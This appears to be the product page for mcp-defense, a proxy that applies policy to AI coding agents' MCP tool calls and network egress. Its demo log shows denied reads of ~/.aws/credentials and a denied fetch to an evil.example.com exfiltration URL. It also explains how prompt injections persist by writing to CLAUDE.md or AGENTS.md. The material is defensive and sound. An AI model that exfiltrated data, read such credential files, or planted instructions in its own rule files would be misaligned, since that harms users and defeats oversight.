Every tool call your agent makes, gated by policy. Every downstream flow, joined by correlation ID. Every crown-jewel access, blocked before the MCP server ever sees the request. Zero agent code changes. Full cause chain in your SIEM the same second.
$ mcp-defense demo 19:11:23.806 ALLOW tc_c7nniklnna filesystem read_file path=/workspace/main.py └ flow 10.0.0.5:50001 → 1.2.3.4:443 PASS 19:11:24.806 DENY tc_3lflzidubq filesystem read_file path=/home/alice/.aws/credentials ↳ crown_jewel 19:11:26.207 APPROVE tc_x66ww6mhdq filesystem read_file path=/workspace/app/.env.local ↳ sensitive_path — operator approved on /dev/tty 19:11:26.906 ORPHAN — — — 10.0.0.5:52001 → 5.6.7.8:443 DROP ↳ no_matching_session — egress without a tool call 19:11:27.507 DENY tc_ljes3vkxhm filesystem fetch url=https://evil.example.com/exfil ↳ archetype_no_network 2 allow · 2 deny · 1 approval · 1 orphan
Every tool call and every downstream flow passes through the same pipeline. Each resolves to one of three states — decided at kernel speed, joined by correlation ID, and recorded for audit.
--observe mode and the generic archetype log every tool call and flow without blocking. Use it to learn what normal looks like before flipping enforcement on.
REQUIRE_APPROVAL on /dev/tty. Tool call forwards byte-for-byte; downstream flows attach by correlation ID.
LLM guardrails see the prompt — not the tool calls that happen after. Network security sees the packets — not the tool call that asked for them. mcp-defense sits in three places at once and joins them on a single correlation ID.
A filesystem server has no business opening sockets. A GitHub server has no business reaching anywhere but api.github.com. Ship with sensible defaults; override in config/archetypes.yaml.
/workspace. No network. No spawn.api.github.com:443 only. No file writes outside /tmp./tmp. No spawn.Agent-specific sensitive paths. Not your grandfather's /etc/shadow — the files a prompt-injected coding agent actually reaches for. Three tiers: CROWN denies, AUTH requires approval, CONFIG logs.
CLAUDE.md — your agent's own instruction file. Writing to it is how a prompt injection persists across sessions — the agent reads its own corrupted instructions next time. Same story for AGENTS.md, .cursorrules, and .claude/.
Install, see the demo, wrap one Claude Code MCP server. Full setup guide in docs/CLAUDE_CODE.md.
git clone https://github.com/jessfortemnaturae8717/mcp-defense cd mcp-defense && make install
make demo
Exercises every decision path in ~6 seconds. This is where the screenshot above comes from.
{
"mcpServers": {
"filesystem": {
"command": "mcp-defense",
"args": [
"stdio",
"--archetype", "filesystem",
"--agent-id", "claude-code",
"--",
"npx", "-y", "@modelcontextprotocol/server-filesystem", "/Users/you/code"
]
}
}
}
Add --observe to log without blocking, --approval to prompt on /dev/tty for sensitive paths, --siem-splunk / --siem-webhook to fan events to SOC tooling.
No agent changes. No custom rules. JSONL-on-a-FIFO for anyone shipping kernel events. Drop it between the agent and the MCP server; stream the output to your SIEM.
MVP complete plus post-MVP integrations. 102 tests passing. Early-access partners get first look at stable enforcement and drive the packaging roadmap.
/dev/tty approval prompt with session allow-list. JSONL bridge from ternaryphysics-llm-security XDP.pip install mcp-defense. Partnering with 3–5 teams running AI coding agents in production.pip install mcp-defense. Or reach out if you're running Claude Code, Cursor, Cline, or Codex in production and want to talk about fleet policy, SSO, or an enterprise integration.